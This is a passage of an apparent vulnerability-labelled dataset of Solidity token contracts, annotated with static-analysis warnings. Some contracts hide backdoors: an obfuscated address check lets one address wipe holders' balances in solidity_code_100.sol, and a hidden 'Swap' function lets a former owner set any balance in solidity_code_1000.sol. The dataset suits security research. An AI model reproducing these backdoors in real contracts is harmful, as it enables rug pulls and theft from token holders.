_balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 574dc1a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cc7eb53\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cc7eb53\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 574dc1a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-events | ID: 574dc1a\n\t\t// reentrancy-benign | ID: 26ed09d\n\t\t// reentrancy-eth | ID: cc7eb53\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveTxnsLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function setTheBots(address account, bool state) external onlyOwner {\n bots[account] = state;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9293787): pp.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9293787: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-events | ID: 574dc1a\n\t\t// reentrancy-eth | ID: cc7eb53\n\t\t// arbitrary-send-eth | ID: 9293787\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ed514b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ed514b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 87a1555): pp.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 87a1555: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 18c602c): pp.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 18c602c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5deaced): pp.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5deaced: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 387a2d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 387a2d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// reentrancy-eth | ID: 387a2d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// unused-return | ID: 18c602c\n\t\t// unused-return | ID: 5deaced\n\t\t// reentrancy-eth | ID: 387a2d7\n uniswapV2Router.addLiquidityETH{\n value: msg.value > 0 ? msg.value : address(this).balance\n }(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4ed514b\n\t\t// unused-return | ID: 87a1555\n\t\t// reentrancy-eth | ID: 387a2d7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4ed514b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 387a2d7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manuSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function setBlockBuf(uint8 _amount) external onlyOwner {\n blockBuffer = _amount;\n }\n\n function calculate(\n uint256 amount,\n uint256 bps\n ) public pure returns (uint256) {\n uint256 bpz = bps * 100;\n\n return (amount * bpz) / 10_000;\n }\n}\n", "file_name": "solidity_code_10.sol", "size_bytes": 22187, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYBOME\", unicode\"BABYBOME\", 9, 1000000000) {}\n}\n", "file_name": "solidity_code_100.sol", "size_bytes": 7300, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function RenounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _tAXTRANSFER(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgexecute = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevexecute = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgexecute == prevexecute;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract ETHInsiderAI is ERC20 {\n uint256 private constant TO_SPPL = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 374cc74): ETHInsiderAI.DEAD shadows ERC20.DEAD\n\t// Recommendation for 374cc74: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: fe29473): ETHInsiderAI.ZERO shadows ERC20.ZERO\n\t// Recommendation for fe29473: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9b0f87): ETHInsiderAI.maxExecuteSwap should be immutable \n\t// Recommendation for a9b0f87: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxExecuteSwap;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 759c030): ETHInsiderAI.maxat should be immutable \n\t// Recommendation for 759c030: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxat;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: d92f713): ETHInsiderAI._TaxBurn should be constant \n\t// Recommendation for d92f713: Add the 'constant' attribute to state variables that never change.\n uint256 _TaxBurn = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 20d66cd): ETHInsiderAI.uniswapV2Router should be immutable \n\t// Recommendation for 20d66cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(address router) ERC20(\"ETH Insider AI\", \"INSIDER\", TO_SPPL) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxat = TO_SPPL / 50;\n\n maxExecuteSwap = TO_SPPL / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burnt = (amount * _TaxBurn) / 100;\n\n super._tAXTRANSFER(from, to, amount, _burnt);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxExecuteSwap, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxat,\n \"Max hold exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}\n", "file_name": "solidity_code_1000.sol", "size_bytes": 13295, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ncontract TokenLocker {\n struct LockedToken {\n uint256 amount;\n uint256 unlockTime;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38b75e3): TokenLocker.owner should be immutable \n\t// Recommendation for 38b75e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 894906b): TokenLocker.token should be constant \n\t// Recommendation for 894906b: Add the 'constant' attribute to state variables that never change.\n IERC20 public token =\n IERC20(address(0x4E6415baC66d5C66eFEB0ded7494ae3c648d68cf));\n\n bool _clear = true;\n\n mapping(address => LockedToken[]) public lockedTokens;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function\");\n\n _;\n }\n\n constructor() {\n owner = msg.sender;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c13baaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c13baaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2a8630e): TokenLocker.lockTokens(uint256,uint256) ignores return value by token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 2a8630e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function lockTokens(uint256 amount, uint256 duration) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(duration > 0, \"Duration must be greater than zero\");\n\n\t\t// reentrancy-benign | ID: c13baaf\n\t\t// unchecked-transfer | ID: 2a8630e\n token.transferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-benign | ID: c13baaf\n lockedTokens[msg.sender].push(\n LockedToken({\n amount: amount,\n unlockTime: block.timestamp + 365 days\n })\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 96fd5e5): TokenLocker.withdraw(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= lockedToken.unlockTime,Tokens are still locked)\n\t// Recommendation for 96fd5e5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 86f8e40): TokenLocker.withdraw(uint256) ignores return value by token.transfer(msg.sender,amountToWithdraw)\n\t// Recommendation for 86f8e40: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(uint256 index) external onlyOwner {\n require(index < lockedTokens[msg.sender].length, \"Invalid index\");\n\n LockedToken storage lockedToken = lockedTokens[msg.sender][index];\n\n\t\t// timestamp | ID: 96fd5e5\n require(\n block.timestamp >= lockedToken.unlockTime,\n \"Tokens are still locked\"\n );\n\n uint256 amountToWithdraw = lockedToken.amount;\n\n delete lockedTokens[msg.sender][index];\n\n\t\t// unchecked-transfer | ID: 86f8e40\n token.transfer(msg.sender, amountToWithdraw);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8a19093): TokenLocker.withdrawOtherTokens(uint256) ignores return value by token.transfer(msg.sender,amount)\n\t// Recommendation for 8a19093: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawOtherTokens(uint256 amount) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n\t\t// unchecked-transfer | ID: 8a19093\n token.transfer(msg.sender, amount);\n }\n\n function getLockedTokens() external view returns (LockedToken[] memory) {\n return lockedTokens[msg.sender];\n }\n\n function clearETH(uint256 _p) public payable onlyOwner {\n payable(msg.sender).transfer(_p);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 126198f): TokenLocker.clearTokens(IERC20,uint256) ignores return value by _token.transfer(msg.sender,_amount)\n\t// Recommendation for 126198f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearTokens(IERC20 _token, uint256 _amount) public onlyOwner {\n require(_clear || _token != token, \"REECOIN transfer edilemez!\");\n\n\t\t// unchecked-transfer | ID: 126198f\n _token.transfer(msg.sender, _amount);\n }\n\n function setClear() external onlyOwner {\n _clear = !_clear;\n }\n}\n", "file_name": "solidity_code_10000.sol", "size_bytes": 5554, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Wally is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be4f71b): Wally._taxWallet should be immutable \n\t// Recommendation for be4f71b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b5218): Wally._finalBuyTax should be constant \n\t// Recommendation for 